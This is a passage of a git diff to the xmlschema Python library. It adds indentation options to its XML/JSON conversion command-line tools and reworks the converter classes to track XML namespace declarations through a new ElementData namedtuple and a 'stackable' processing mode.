except KeyError: - raise ValueError("--converter must be in {!r}".format(tuple(CONVERTERS_MAP))) + raise ValueError(f"--converter must be in {tuple(CONVERTERS_MAP)!r}") def xml2json(): @@ -84,6 +84,9 @@ def xml2json(): help="use a different XML to JSON convention instead of " "the default converter. Option value can be one of " "{!r}.".format(tuple(CONVERTERS_MAP))) + parser.add_argument('--indent', type=int, default=None, + help="indentation for a pretty-printed JSON output " + "(default is the most compact representation)") parser.add_argument('--lazy', action='store_true', default=False, help="use lazy decoding mode (slower but use less memory).") parser.add_argument('--defuse', metavar='(always, remote, never)', @@ -106,17 +109,21 @@ def xml2json(): else: schema = None + json_options = {} + if args.indent is not None and args.indent >= 0: + json_options['indent'] = args.indent + base_path = pathlib.Path(args.output) if not base_path.exists(): base_path.mkdir() elif not base_path.is_dir(): - raise XMLSchemaValueError("{!r} is not a directory".format(str(base_path))) + raise XMLSchemaValueError(f"{str(base_path)!r} is not a directory") tot_errors = 0 for xml_path in map(pathlib.Path, args.files): json_path = base_path.joinpath(xml_path.name).with_suffix('.json') if json_path.exists() and not args.force: - print("skip {}: the destination file exists!".format(str(json_path))) + print(f"skip {str(json_path)}: the destination file exists!") continue with open(str(json_path), 'w') as fp: @@ -130,14 +137,15 @@ def xml2json(): lazy=args.lazy, defuse=args.defuse, validation='lax', + json_options=json_options, ) except (xmlschema.XMLSchemaException, URLError) as err: tot_errors += 1 - print("error with {}: {}".format(str(xml_path), str(err))) + print(f"error with {str(xml_path)}: {str(err)}") continue else: if not errors: - print("{} converted to {}".format(str(xml_path), str(json_path))) + print(f"{str(xml_path)} converted to {str(json_path)}") else: tot_errors += len(errors) print("{} converted to {} with {} errors".format( @@ -165,6 +173,8 @@ def json2xml(): help="use a different XML to JSON convention instead of " "the default converter. Option value can be one of " "{!r}.".format(tuple(CONVERTERS_MAP))) + parser.add_argument('--indent', type=int, default=4, + help="indentation for XML output (default is 4 spaces)") parser.add_argument('-o', '--output', type=str, default='.', help="where to write the encoded XML files, current dir by default.") parser.add_argument('-f', '--force', action="store_true", default=False, @@ -183,13 +193,13 @@ def json2xml(): if not base_path.exists(): base_path.mkdir() elif not base_path.is_dir(): - raise XMLSchemaValueError("{!r} is not a directory".format(str(base_path))) + raise XMLSchemaValueError(f"{str(base_path)!r} is not a directory") tot_errors = 0 for json_path in map(pathlib.Path, args.files): xml_path = base_path.joinpath(json_path.name).with_suffix('.xml') if xml_path.exists() and not args.force: - print("skip {}: the destination file exists!".format(str(xml_path))) + print(f"skip {str(xml_path)}: the destination file exists!") continue with open(str(json_path)) as fp: @@ -199,14 +209,15 @@ def json2xml(): schema=schema, converter=converter, validation='lax', + indent=args.indent, ) except (xmlschema.XMLSchemaException, URLError) as err: tot_errors += 1 - print("error with {}: {}".format(str(xml_path), str(err))) + print(f"error with {str(xml_path)}: {str(err)}") continue else: if not errors: - print("{} converted to {}".format(str(json_path), str(xml_path))) + print(f"{str(json_path)} converted to {str(xml_path)}") else: tot_errors += len(errors) print("{} converted to {} with {} errors".format( @@ -251,13 +262,16 @@ def validate(): locations=args.locations, lazy=args.lazy, defuse=args.defuse)) except (xmlschema.XMLSchemaException, URLError) as err: tot_errors += 1 - print(str(err)) + sys.stderr.write(f"{err}\n") continue else: if not errors: - print("{} is valid".format(filepath)) + sys.stdout.write(f"{filepath} is valid\n") else: tot_errors += len(errors) - print("{} is not valid".format(filepath)) + sys.stderr.write(f"{filepath} is not valid\n") + if args.verbosity > 0: + for error in errors: + sys.stderr.write(f"{error}\n") sys.exit(tot_errors) diff --git a/xmlschema/converters/__init__.py b/xmlschema/converters/__init__.py index 5952f62..8fe5011 100644 --- a/xmlschema/converters/__init__.py +++ b/xmlschema/converters/__init__.py @@ -7,14 +7,15 @@ # # @author Davide Brunato <brunato@sissa.it> # -from .default import XMLSchemaConverter +from .default import ElementData, XMLSchemaConverter from .unordered import UnorderedConverter from .parker import ParkerConverter from .badgerfish import BadgerFishConverter +from .gdata import GDataConverter from .abdera import AbderaConverter from .jsonml import JsonMLConverter from .columnar import ColumnarConverter __all__ = ['XMLSchemaConverter', 'UnorderedConverter', 'ParkerConverter', 'BadgerFishConverter', 'AbderaConverter', 'JsonMLConverter', - 'ColumnarConverter'] + 'ColumnarConverter', 'ElementData', 'GDataConverter'] diff --git a/xmlschema/converters/abdera.py b/xmlschema/converters/abdera.py index e9d9cf6..82218e3 100644 --- a/xmlschema/converters/abdera.py +++ b/xmlschema/converters/abdera.py @@ -10,10 +10,11 @@ from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, List, Dict, Type, Union +from ..helpers import local_name from ..exceptions import XMLSchemaValueError -from ..etree import ElementData from ..aliases import NamespacesType, BaseXsdType -from .default import XMLSchemaConverter +from ..resources import XMLResource +from .default import ElementData, XMLSchemaConverter if TYPE_CHECKING: from ..validators import XsdElement @@ -37,19 +38,25 @@ def __init__(self, namespaces: Optional[NamespacesType] = None, list_class: Optional[Type[List[Any]]] = None, **kwargs: Any) -> None: kwargs.update(attr_prefix='', text_key='', cdata_prefix=None) - super(AbderaConverter, self).__init__( - namespaces, dict_class, list_class, **kwargs - ) + super().__init__(namespaces, dict_class, list_class, **kwargs) + + @property + def xmlns_processing_default(self) -> str: + return 'stacked' if isinstance(self.source, XMLResource) else 'none' @property def lossy(self) -> bool: return True # Loss cdata parts + @property + def loss_xmlns(self) -> bool: + return True + def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type if xsd_type.simple_type is not None: - children = data.text if data.text is not None and data.text != '' else None + children = data.text else: children = self.dict() for name, value, xsd_child in self.map_content(data.content): @@ -66,76 +73,78 @@ def element_decode(self, data: ElementData, xsd_element: 'XsdElement', except AttributeError: children[name] = self.list([children[name], value]) if not children: - children = data.text if data.text is not None and data.text != '' else None + children = data.text + result: Union[List[Any], Dict[str, Any]] if data.attributes: - if children != []: - return self.dict([ - ('attributes', - self.dict((k, v) for k, v in self.map_attributes(data.attributes))), - ('children', - self.list([children]) if children is not None else self.list()) - ]) - else: - return self.dict([ - ('attributes', - self.dict((k, v) for k, v in self.map_attributes(data.attributes))), - ]) + result = self.dict([ + ('attributes', + self.dict((k, v) for k, v in self.map_attributes(data.attributes))) + ]) + if children is not None and children != []: + result['children'] = self.list([children]) + + elif children is not None: + result = children else: - return children if children is not None else self.list() + result = self.list() - def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: - tag = xsd_element.qualified_name if level == 0 else xsd_element.name + return result if level else self.dict([(self.map_qname(data.tag), result)]) + def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: if not isinstance(obj, MutableMapping): - if obj == []: + if not obj and isinstance(obj, MutableSequence): obj = None - return ElementData(tag, obj, None, {}) + return ElementData(xsd_element.name, obj, None, {}, None) + elif len(obj) != 1: + tag = xsd_element.name else: - attributes: Dict[str, Any] = {} - children: Union[List[Any], MutableMapping[str, Any]] - - try: - attributes.update((self.unmap_qname(k, xsd_element.attributes), v) - for k, v in obj['attributes'].items()) - except KeyError: - children = obj + key, value = next(iter(obj.items())) + tag = self.unmap_qname(key) + if xsd_element.is_matching(tag): + obj = value + elif not self.namespaces and local_name(tag) == xsd_element.local_name: + obj = value else: - children = obj.get('children', []) + tag = xsd_element.name + + attributes: Dict[str, Any] = {} + children: Union[List[Any], MutableMapping[str, Any]] - if isinstance(children, MutableMapping): - children = [children] - elif children and not isinstance(children[0], MutableMapping): - if len(children) > 1: - raise XMLSchemaValueError("Wrong format") + try: + attributes.update((self.unmap_qname(k, xsd_element.attributes), v) + for k, v in obj['attributes'].items()) + except KeyError: + children = obj + else: + children = obj.get('children', []) + + if isinstance(children, MutableMapping): + children = [children] + elif children and not isinstance(children[0], MutableMapping): + if len(children) > 1: + raise XMLSchemaValueError("Element %r should have only one child" % tag) + else: + return ElementData(tag, children[0], None, attributes, None) + + content = [] + for child in children: + for name, value in child.items(): + if not isinstance(value, MutableSequence) or not value: + content.append((self.unmap_qname(name), value)) + elif isinstance(value[0], (MutableMapping, MutableSequence)): + ns_name = self.unmap_qname(name) + for item in value: + content.append((ns_name, item)) else: - return ElementData(tag, children[0], None, attributes) - - content = [] - for child in children: - for name, value in child.items(): - if not isinstance(value, MutableSequence) or not value: - content.append((self.unmap_qname(name), value)) - elif isinstance(value[0], (MutableMapping, MutableSequence)): - ns_name = self.unmap_qname(name) - for item in value: - content.append((ns_name, item)) - else: - xsd_group = xsd_element.type.model_group - if xsd_group is None: - xsd_group = xsd_element.any_type.model_group - assert xsd_group is not None - - ns_name = self.unmap_qname(name) - for xsd_child in xsd_group.iter_elements(): - matched_element = xsd_child.match(ns_name, resolve=True) - if matched_element is not None: - if matched_element.type and matched_element.type.is_list(): - content.append((ns_name, value)) - else: - content.extend((ns_name, item) for item in value) - break - else: + ns_name = self.unmap_qname(name) + xsd_child = xsd_element.match_child(ns_name) + if xsd_child is not None: + if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) + else: + content.extend((ns_name, item) for item in value) + else: + content.extend((ns_name, item) for item in value) - return ElementData(tag, None, content, attributes) + return ElementData(tag, None, content, attributes, None) diff --git a/xmlschema/converters/badgerfish.py b/xmlschema/converters/badgerfish.py index 3036c92..147428d 100644 --- a/xmlschema/converters/badgerfish.py +++ b/xmlschema/converters/badgerfish.py @@ -10,9 +10,11 @@ from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, List, Dict, Type, Union, Tuple -from ..etree import ElementData -from ..aliases import NamespacesType, BaseXsdType -from .default import XMLSchemaConverter +from ..aliases import NamespacesType, XmlnsType, BaseXsdType +from ..names import XSD_ANY_TYPE +from ..helpers import local_name +from ..exceptions import XMLSchemaTypeError +from .default import ElementData, stackable, XMLSchemaConverter if TYPE_CHECKING: from ..validators import XsdElement @@ -36,96 +38,84 @@ def __init__(self, namespaces: Optional[NamespacesType] = None, list_class: Optional[Type[List[Any]]] = None, **kwargs: Any) -> None: kwargs.update(attr_prefix='@', text_key='$', cdata_prefix='$') - super(BadgerFishConverter, self).__init__( - namespaces, dict_class, list_class, **kwargs - ) + super().__init__(namespaces, dict_class, list_class, **kwargs) @property def lossy(self) -> bool: return False + def get_xmlns_from_data(self, obj: Any) -> XmlnsType: + if not self._use_namespaces or not isinstance(obj, MutableMapping) or '@xmlns' not in obj: + return None + return [(k if k != '$' else '', v) for k, v in obj['@xmlns'].items()] + + @stackable def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type - dict_class = self.dict tag = self.map_qname(data.tag) - has_local_root = not self and not self.strip_namespaces - result_dict = dict_class([t for t in self.map_attributes(data.attributes)]) - if has_local_root: - result_dict['@xmlns'] = dict_class() + result_dict = self.dict(t for t in self.map_attributes(data.attributes)) + + xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) + if self._use_namespaces and xmlns: + result_dict['@xmlns'] = self.dict((k or '$', v) for k, v in xmlns) xsd_group = xsd_type.model_group - if xsd_group is None: - if data.text is not None and data.text != '': + if xsd_group is None or not data.content: + if data.text is not None: result_dict['$'] = data.text else: has_single_group = xsd_group.is_single() - for name, value, xsd_child in self.map_content(data.content): - try: - if '@xmlns' in value: - self.transfer(value['@xmlns']) - if not value['@xmlns']: - del value['@xmlns'] - elif '@xmlns' in value[name]: - self.transfer(value[name]['@xmlns']) - if not value[name]['@xmlns']: - del value[name]['@xmlns'] - if len(value) == 1: - value = value[name] - except (TypeError, KeyError): - pass - - if value is None: - value = self.dict() - - try: - result = result_dict[name] - except KeyError: - if xsd_child is None or has_single_group and xsd_child.is_single(): - result_dict[name] = value + for name, item, xsd_child in self.map_content(data.content): + if name.startswith('$') and name[1:].isdigit(): + result_dict[name] = item + continue + + assert isinstance(item, MutableMapping) and xsd_child is not None + + item = item[name] + if name in result_dict: + other = result_dict[name] + if not isinstance(other, MutableSequence) or not other: + result_dict[name] = self.list([other, item]) + elif isinstance(other[0], MutableSequence) or \ + not isinstance(item, MutableSequence): + other.append(item) else: - result_dict[name] = self.list([value]) + result_dict[name] = self.list([other, item]) else: - if not isinstance(result, MutableSequence) or not result: - result_dict[name] = self.list([result, value]) - elif isinstance(result[0], MutableSequence) or \ - not isinstance(value, MutableSequence): - result.append(value) + if xsd_type.name == XSD_ANY_TYPE or \ + has_single_group and xsd_child.is_single(): + result_dict[name] = item else: - result_dict[name] = self.list([result, value]) + result_dict[name] = self.list([item]) - if has_local_root: - if self: - result_dict['@xmlns'].update(self) - else: - del result_dict['@xmlns'] - return dict_class([(tag, result_dict)]) - else: - return dict_class([('@xmlns', dict_class(self)), (tag, result_dict)]) + return self.dict([(tag, result_dict)]) + @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: - tag = xsd_element.qualified_name if level == 0 else xsd_element.name - - if not self.strip_namespaces: - try: - self.update(obj['@xmlns']) - except KeyError: - pass - - try: - element_data = obj[self.map_qname(xsd_element.name)] - except KeyError: - try: - element_data = obj[xsd_element.name] - except KeyError: - element_data = obj + if not isinstance(obj, MutableMapping): + raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") + elif len(obj) != 1 or all(k.startswith(('$', '@')) for k in obj): + tag = xsd_element.name + else: + key, value = next(iter(obj.items())) + tag = self.unmap_qname(key, xmlns=self.get_xmlns_from_data(value)) + if xsd_element.is_matching(tag): + obj = value + elif not self.namespaces and local_name(tag) == xsd_element.local_name: + obj = value + else: + tag = xsd_element.name text = None content: List[Tuple[Union[str, int], Any]] = [] attributes = {} - for name, value in element_data.items(): + xmlns = self.set_context(obj, level) + + for name, value in obj.items(): if name == '@xmlns': continue elif name == '$': @@ -137,27 +127,21 @@ def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ns_name = self.unmap_qname(attr_name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: - content.append((self.unmap_qname(name), value)) + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) + content.append((ns_name, value)) elif isinstance(value[0], (MutableMapping, MutableSequence)): - ns_name = self.unmap_qname(name) + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) for item in value: content.append((ns_name, item)) else: - xsd_group = xsd_element.type.model_group - if xsd_group is None: - xsd_group = xsd_element.any_type.model_group - assert xsd_group is not None - ns_name = self.unmap_qname(name) - for xsd_child in xsd_group.iter_elements(): - matched_element = xsd_child.match(ns_name, resolve=True) - if matched_element is not None: - if matched_element.type and matched_element.type.is_list(): - content.append((ns_name, value)) - else: - content.extend((ns_name, item) for item in value) - break + xsd_child = xsd_element.match_child(ns_name) + if xsd_child is not None: + if xsd_child.type and xsd_child.type.is_list(): + content.append((ns_name, value)) + else: + content.extend((ns_name, item) for item in value) else: - content.append((ns_name, value)) + content.extend((ns_name, item) for item in value) - return ElementData(tag, text, content, attributes) + return ElementData(tag, text, content, attributes, xmlns) diff --git a/xmlschema/converters/columnar.py b/xmlschema/converters/columnar.py index 450d2d2..036c2ac 100644 --- a/xmlschema/converters/columnar.py +++ b/xmlschema/converters/columnar.py @@ -11,9 +11,9 @@ from typing import TYPE_CHECKING, Any, Optional, List, Dict, Type, Tuple from ..exceptions import XMLSchemaTypeError, XMLSchemaValueError -from ..etree import ElementData from ..aliases import NamespacesType, BaseXsdType -from .default import XMLSchemaConverter +from ..resources import XMLResource +from .default import ElementData, XMLSchemaConverter if TYPE_CHECKING: from ..validators import XsdElement @@ -37,22 +37,30 @@ def __init__(self, namespaces: Optional[NamespacesType] = None, attr_prefix: Optional[str] = '', **kwargs: Any) -> None: kwargs.update(text_key=None, cdata_prefix=None) - super(ColumnarConverter, self).__init__(namespaces, dict_class, list_class, - attr_prefix=attr_prefix, **kwargs) + super().__init__(namespaces, dict_class, list_class, + attr_prefix=attr_prefix, **kwargs) + + @property + def xmlns_processing_default(self) -> str: + return 'stacked' if isinstance(self.source, XMLResource) else 'none' @property def lossy(self) -> bool: return True # Loss cdata parts + @property + def loss_xmlns(self) -> bool: + return True + def __setattr__(self, name: str, value: Any) -> None: if name != 'attr_prefix': - super(ColumnarConverter, self).__setattr__(name, value) + super().__setattr__(name, value) elif not isinstance(value, str): - msg = '{} must be a str, not {}' - raise XMLSchemaTypeError(msg.format(name, type(value).__name__)) - elif value not in {'', '_', '__'}: - msg = '{} can be the empty string or a single/double underscore' - raise XMLSchemaValueError(msg.format(name)) + msg = "%(name)r must be a <class 'str'> instance, not %(type)r" + raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) + elif value not in ('', '_', '__'): + msg = '%r can be the empty string or a single/double underscore' + raise XMLSchemaValueError(msg % name) else: super(XMLSchemaConverter, self).__setattr__(name, value) @@ -71,7 +79,7 @@ def element_decode(self, data: ElementData, xsd_element: 'XsdElement', result_dict = self.dict() if xsd_type.simple_type is not None: - result_dict[xsd_element.local_name] = data.text or None + result_dict[xsd_element.local_name] = data.text if data.content: for name, value, xsd_child in self.map_content(data.content): @@ -128,11 +136,11 @@ def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> if not isinstance(obj, MutableMapping): if xsd_element.type.simple_type is not None: - return ElementData(xsd_element.name, obj, None, {}) + return ElementData(xsd_element.name, obj, None, {}, None) elif xsd_element.type.mixed and not isinstance(obj, MutableSequence): - return ElementData(xsd_element.name, obj, None, {}) + return ElementData(xsd_element.name, obj, None, {}, None) else: - return ElementData(xsd_element.name, None, obj, {}) + return ElementData(xsd_element.name, None, obj, {}, None) text = None content: List[Tuple[Optional[str], MutableSequence[Any]]] = [] @@ -152,21 +160,14 @@ def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ns_name = self.unmap_qname(name) content.extend((ns_name, item) for item in value) else: - xsd_group = xsd_element.type.model_group - if xsd_group is None: - xsd_group = xsd_element.any_type.model_group - assert xsd_group is not None - ns_name = self.unmap_qname(name) - for xsd_child in xsd_group.iter_elements(): - matched_element = xsd_child.match(ns_name, resolve=True) - if matched_element is not None: - if matched_element.type and matched_element.type.is_list(): - content.append((xsd_child.name, value)) - else: - content.extend((xsd_child.name, item) for item in value) - break + xsd_child = xsd_element.match_child(ns_name) + if xsd_child is not None: + if xsd_child.type and xsd_child.type.is_list(): + content.append((ns_name, value)) + else: + content.extend((ns_name, item) for item in value) else: - content.append((ns_name, value)) + content.extend((ns_name, item) for item in value) - return ElementData(xsd_element.name, text, content, attributes) + return ElementData(xsd_element.name, text, content, attributes, None) diff --git a/xmlschema/converters/default.py b/xmlschema/converters/default.py index 3fc6d92..ca9484f 100644 --- a/xmlschema/converters/default.py +++ b/xmlschema/converters/default.py @@ -7,20 +7,45 @@ # # @author Davide Brunato <brunato@sissa.it> # +from collections import namedtuple from collections.abc import MutableMapping, MutableSequence -from typing import TYPE_CHECKING, cast, Any, Dict, Iterator, Iterable, \ - List, Optional, Type, Tuple, Union +from typing import TYPE_CHECKING, Any, Callable, Dict, Iterator, Iterable, \ + List, Optional, Tuple, Type, TypeVar, Union +from xml.etree.ElementTree import Element -from ..exceptions import XMLSchemaTypeError -from ..names import XSI_NAMESPACE -from ..etree import etree_element, ElementData -from ..aliases import NamespacesType, ElementType, BaseXsdType +from ..exceptions import XMLSchemaTypeError, XMLSchemaValueError +from ..aliases import NamespacesType, XmlnsType, BaseXsdType +from ..helpers import get_namespace from ..namespaces import NamespaceMapper +from ..resources import XMLResource if TYPE_CHECKING: from ..validators import XsdElement +ElementData = namedtuple('ElementData', + ['tag', 'text', 'content', 'attributes', 'xmlns'], + defaults=(None, None, None, None)) +""" +Namedtuple for Element data interchange between decoders and converters. +The field *tag* is a string containing the Element's tag, *text* can be `None` +or a string representing the Element's text, *content* can be `None`, a list +containing the Element's children or a dictionary containing element name to +list of element contents for the Element's children (used for unordered input +data), *attributes* can be `None` or a dictionary containing the Element's +attributes, *xmlns* can be `None` or a list of couples containing namespace +declarations. +""" + +T = TypeVar('T') + + +def stackable(method: Callable[..., T]) -> Callable[..., T]: + """Mark if a converter object method supports 'stacked' xmlns processing mode.""" + method.stackable = True # type: ignore[attr-defined] + return method + + class XMLSchemaConverter(NamespaceMapper): """ Generic XML Schema based converter class. A converter is used to compose @@ -45,8 +70,17 @@ class XMLSchemaConverter(NamespaceMapper): of a mixed content, that are labeled with an integer instead of a string. \ Character data parts are ignored if this argument is `None`. :param indent: number of spaces for XML indentation (default is 4). + :param process_namespaces: whether to use namespace information in name mapping \ + methods. If set to `False` then the name mapping methods simply return the \ + provided name. :param strip_namespaces: if set to `True` removes namespace declarations from data and \ namespace information from names, during decoding or encoding. Defaults to `False`. + :param xmlns_processing: defines the processing mode of XML namespace declarations. \ + Can be 'stacked', 'collapsed', 'root-only' or 'none', with the meaning defined for \ + the `NamespaceMapper` base class. For default the xmlns processing mode is chosen \ + between 'stacked', 'collapsed' and 'none', depending on the provided XML source \ + and the capabilities and the settings of the converter instance. + :param source: the origin of XML data. Con be an `XMLResource` instance or `None`. :param preserve_root: if set to `True` the root element is preserved, wrapped into a \ single-item dictionary. Applicable only to default converter, to \ :class:`UnorderedConverter` and to :class:`ParkerConverter`. @@ -68,37 +102,45 @@ class XMLSchemaConverter(NamespaceMapper): :ivar force_list: force list for child elements """ ns_prefix: str - dict: Type[Dict[str, Any]] = dict - list: Type[List[Any]] = list - - etree_element_class: Type[ElementType] - etree_element_class = etree_element + dict: Type[Dict[str, Any]] + list: Type[List[Any]] + etree_element_class: Type[Element] - __slots__ = ('text_key', 'ns_prefix', 'attr_prefix', 'cdata_prefix', + __slots__ = ('dict', 'list', 'etree_element_class', + 'text_key', 'ns_prefix', 'attr_prefix', 'cdata_prefix', 'indent', 'preserve_root', 'force_dict', 'force_list') def __init__(self, namespaces: Optional[NamespacesType] = None, dict_class: Optional[Type[Dict[str, Any]]] = None, list_class: Optional[Type[List[Any]]] = None, - etree_element_class: Optional[Type[ElementType]] = None, + etree_element_class: Optional[Type[Element]] = None, text_key: Optional[str] = '$', attr_prefix: Optional[str] = '@', cdata_prefix: Optional[str] = None, indent: int = 4, + process_namespaces: bool = True, strip_namespaces: bool = False, + xmlns_processing: Optional[str] = None, + source: Optional[XMLResource] = None, preserve_root: bool = False, force_dict: bool = False, force_list: bool = False, **kwargs: Any) -> None: - super(XMLSchemaConverter, self).__init__(namespaces, strip_namespaces) - if dict_class is not None: self.dict = dict_class + else: + self.dict = dict + if list_class is not None: self.list = list_class + else: + self.list = list + if etree_element_class is not None: self.etree_element_class = etree_element_class + else: + self.etree_element_class = Element self.text_key = text_key self.attr_prefix = attr_prefix @@ -110,33 +152,52 @@ def __init__(self, namespaces: Optional[NamespacesType] = None, self.force_dict = force_dict self.force_list = force_list + super().__init__( + namespaces, process_namespaces, strip_namespaces, xmlns_processing, source + ) + def __setattr__(self, name: str, value: Any) -> None: if name in {'attr_prefix', 'text_key', 'cdata_prefix'}: if value is not None and not isinstance(value, str): - msg = '{} must be a str or None, not {}' - raise XMLSchemaTypeError(msg.format(name, type(value).__name__)) + msg = "%(name)r must be a <class 'str'> instance or None, not %(type)r" + raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) elif name in {'strip_namespaces', 'preserve_root', 'force_dict', 'force_list'}: if not isinstance(value, bool): - msg = '{} must be a bool, not {}' - raise XMLSchemaTypeError(msg.format(name, type(value).__name__)) + msg = "%(name)r must be a <class 'bool'> instance, not %(type)r" + raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) elif name == 'indent': if isinstance(value, bool) or not isinstance(value, int): - msg = '{} must be an int, not {}' - raise XMLSchemaTypeError(msg.format(name, type(value).__name__)) + msg = "%(name)r must be a <class 'int'> instance, not %(type)r" + raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) elif name == 'dict': if not issubclass(value, MutableMapping): - msg = '{!r} must be a MutableMapping subclass, not {}' - raise XMLSchemaTypeError(msg.format(name, value)) + msg = "%(name)r must be a MutableMapping object, not %(type)r" + raise XMLSchemaTypeError(msg % {'name': 'dict_class', 'type': type(value)}) elif name == 'list': if not issubclass(value, MutableSequence): - msg = '{!r} must be a MutableSequence subclass, not {}' - raise XMLSchemaTypeError(msg.format(name, value)) + msg = "%(name)r must be a MutableSequence object, not %(type)r" + raise XMLSchemaTypeError(msg % {'name': 'list_class', 'type': type(value)}) + + super().__setattr__(name, value) - super(XMLSchemaConverter, self).__setattr__(name, value) + @property + def xmlns_processing_default(self) -> str: + """ + Returns the default of the xmlns processing mode, used if `None` is provided. + """ + if isinstance(self.source, XMLResource): + if getattr(self.element_decode, 'stackable', False): + return 'stacked' + else: + return 'collapsed' + elif getattr(self.element_encode, 'stackable', False): + return 'stacked' + else: + return 'collapsed' @property def lossy(self) -> bool: @@ -152,17 +213,35 @@ def losslessly(self) -> bool: """ return False - def copy(self, **kwargs: Any) -> 'XMLSchemaConverter': + @property + def loss_xmlns(self) -> bool: + """The converter ignores XML namespace information during decoding/encoding.""" + return not self._use_namespaces + + def copy(self, keep_namespaces: bool = True, **kwargs: Any) -> 'XMLSchemaConverter': + """ + Creates a new converter instance from the existing, replacing options provided + with keyword arguments. + + :param keep_namespaces: whether to keep the namespaces of the converter \ + if they are not replaced by a keyword argument. + """ + namespaces = kwargs.get('namespaces', self._namespaces if keep_namespaces else None) + xmlns_processing = None if 'source' in kwargs else self.xmlns_processing + return type(self)( - namespaces=kwargs.get('namespaces', self._namespaces), + namespaces=namespaces, dict_class=kwargs.get('dict_class', self.dict), list_class=kwargs.get('list_class', self.list), - etree_element_class=kwargs.get('etree_element_class'), + etree_element_class=kwargs.get('etree_element_class', self.etree_element_class), text_key=kwargs.get('text_key', self.text_key), attr_prefix=kwargs.get('attr_prefix', self.attr_prefix), cdata_prefix=kwargs.get('cdata_prefix', self.cdata_prefix), indent=kwargs.get('indent', self.indent), + process_namespaces=kwargs.get('process_namespaces', self.process_namespaces), strip_namespaces=kwargs.get('strip_namespaces', self.strip_namespaces), + xmlns_processing=kwargs.get('xmlns_processing', xmlns_processing), + source=kwargs.get('source', self.source), preserve_root=kwargs.get('preserve_root', self.preserve_root), force_dict=kwargs.get('force_dict', self.force_dict), force_list=kwargs.get('force_list', self.force_list), @@ -172,50 +251,39 @@ def map_attributes(self, attributes: Iterable[Tuple[str, Any]]) \ -> Iterator[Tuple[str, Any]]: """ Creates an iterator for converting decoded attributes to a data structure with - appropriate prefixes. If the instance has a not-empty map of namespaces registers - the mapped URIs and prefixes. + appropriate prefixes. :param attributes: A sequence or an iterator of couples with the name of \ the attribute and the decoded value. Default is `None` (for `simpleType` \ elements, that don't have attributes). """ - if self.attr_prefix is None or not attributes: - return - elif self.attr_prefix: + if self.attr_prefix is not None and attributes: for name, value in attributes: - yield '%s%s' % (self.attr_prefix, self.map_qname(name)), value - else: - for name, value in attributes: - yield self.map_qname(name), value + yield self.attr_prefix + self.map_qname(name), value def map_content(self, content: Iterable[Tuple[str, Any, Any]]) \ -> Iterator[Tuple[str, Any, Any]]: """ - A generator function for converting decoded content to a data structure. - If the instance has a not-empty map of namespaces registers the mapped URIs - and prefixes. + A generator function for converting the decoded content to a data structure. :param content: A sequence or an iterator of tuples with the name of the \ element, the decoded value and the `XsdElement` instance associated. """ - if not content: - return - - for name, value, xsd_child in content: - try: - if name[0] == '{': + if content: + for name, value, xsd_child in content: + if isinstance(name, int): + if self.cdata_prefix is not None: + yield f'{self.cdata_prefix}{name}', value, xsd_child + elif name[0] == '{': yield self.map_qname(name), value, xsd_child else: yield name, value, xsd_child - except TypeError: - if self.cdata_prefix is not None: - yield '%s%s' % (self.cdata_prefix, name), value, xsd_child def etree_element(self, tag: str, text: Optional[str] = None, - children: Optional[List[ElementType]] = None, + children: Optional[List[Element]] = None, attrib: Optional[Dict[str, str]] = None, - level: int = 0) -> ElementType: + level: int = 0) -> Element: """ Builds an ElementTree's Element using arguments and the element class and the indent spacing stored in the converter instance. @@ -227,7 +295,7 @@ def etree_element(self, tag: str, :param level: the level related to the encoding process (0 means the root). :return: an instance of the Element class is set for the converter instance. """ - if type(self.etree_element_class) is type(etree_element): + if type(self.etree_element_class) is type(Element): if attrib is None: elem = self.etree_element_class(tag) else: @@ -249,13 +317,48 @@ def etree_element(self, tag: str, return elem + def is_xmlns(self, name: str) -> bool: + """Returns `True` if the name is a xmlns declaration.""" + return name.startswith(self.ns_prefix) and \ + (name == self.ns_prefix or name.startswith(f'{self.ns_prefix}:')) + + def get_effective_xmlns(self, xmlns: XmlnsType, level: int, + xsd_element: Optional['XsdElement'] = None) -> XmlnsType: + """ + Returns the effective xmlns for element decoding/encoding, considering the + level and the matching XSD element. At level 0, that is the root of the + single decoding/encoding process, all the defined namespaces are returned + only if the XSD element is global, otherwise no namespace is returned. + """ + if level: + return xmlns + elif xsd_element is None or not xsd_element.is_global(): + return None + else: + return [x for x in self._namespaces.items()] + + def get_xmlns_from_data(self, obj: Any) -> Optional[List[Tuple[str, str]]]: + """Returns the XML declarations from decoded element data.""" + if not self._use_namespaces or not isinstance(obj, MutableMapping): + return None + + xmlns = [] + for name, value in obj.items(): + if name == self.ns_prefix: + xmlns.append(('', value)) + elif name.startswith(f'{self.ns_prefix}:'): + xmlns.append((name[len(self.ns_prefix) + 1:], value)) + + return xmlns + + @stackable def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: """ Converts a decoded element data to a data structure. :param data: ElementData instance decoded from an Element node. - :param xsd_element: the `XsdElement` associated to decoded the data. + :param xsd_element: the `XsdElement` associated to decode the data. :param xsd_type: optional XSD type for supporting dynamic type through \ 